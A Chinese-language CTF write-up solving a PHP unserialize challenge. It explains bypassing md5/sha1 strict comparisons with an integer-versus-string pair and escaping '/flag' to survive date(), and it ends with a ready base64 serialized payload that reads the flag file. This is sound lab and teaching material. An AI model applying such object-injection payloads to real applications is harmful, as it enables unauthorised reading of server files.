最近一直在挖洞,想起来很久没有打过CTF了,还是做一些题目来找找手感吧。

源码

访问靶机,直接给了源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
class date
{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if (is_array($this->a) || is_array($this->b)) {
            die('no array');
        }
        if (($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a) === sha1($this->b))) {
            $content = date($this->file);
            $uuid = uniqid() . '.txt';
            file_put_contents($uuid, $content);
            $data = preg_replace('/((\s)*(\n)+(\s)*)/i', '', file_get_contents($uuid));
            echo file_get_contents($data);
        } else {
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

分析

很明显,一道反序列化题。

__wakeup()函数内满足以下条件即可获得flag:

  • 不能用数组绕过;
  • a不能强等于b,且a的md5强等于b的md5,a的sha1强等于b的sha1;

一些补充知识

date()函数会将特定的字母转化为特定的时间表达格式;

uniqid()函数用于生成唯一随机字符串(uuid),不传入参数时,其返回一个基于当前时间微秒数的唯一字符串,如果指定了前缀参数,则生成的字符串将以该前缀开头;

$content = date($this->file);
$uuid = uniqid() . '.txt';
file_put_contents($uuid, $content);
$data = preg_replace('/((\s)*(\n)+(\s)*)/i', '', file_get_contents($uuid));
echo file_get_contents($data);

当进入第二个if块之后,使用date()函数对file的内容进行处理;

然后随机生成一个uuid作为文件名,将$content写入这个文件;

最后对文件内容进行正则替换,正则表达式含义如下:

  • /:正则表达式开始符
  • (:开始一个子匹配组
  • ):结束一个子匹配组
  • \s:匹配任意空白字符,如space、tab等
  • \n:匹配换行符
  • *:匹配0个或多个前面的表达式
  • +:匹配1个或多个前面的表达式
  • /i:不区分大小写

综上,代码中的正则表达式作用是将文件中所有连续的空白符、换行符替换为空字符串。

总之,代码逻辑就是:

参数file经过date()函数转换之后,写入一个文件内,然后读取这个文件的内容,作为参数传给file_get_contents()函数读取内容。

所以这里的file参数就是flag的路径,但要考虑不能被date()函数转化了,所以需要绕过date()函数。

攻击

先来绕过md5和sha1的强等于条件,主要有以下方式:

  • 原生类error绕过
  • 数字型和字符型绕过

由于这里使用error_reporting(0);关闭了所有报错信息,所以原生类error绕过不可用,考虑使用数字型和字符型绕过。

举个例子

$a = 1;
$b = '1';

echo ($a !== $b)."\n";
echo (md5($a) === md5($b))."\n";
echo (sha1($a) === sha1($b))."\n";

输出如下:

接着绕过date()函数,其方法就是在每个字符前添加反斜杠来防止转义,举个例子:

$a = "/flag";
$b = "/\\f\l\a\g";

echo (date($a))."\n";
echo (date($b))."\n";

输出如下:

综上所述,构造如下:

class date
{
    public $a = 1;
    public $b = '1';
    public $file = "/\\f\l\a\g";
}

$a = new date;
echo base64_encode(serialize($a));

运行之后得到payload:Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjk6Ii9cZlxsXGFcZyI7fQ==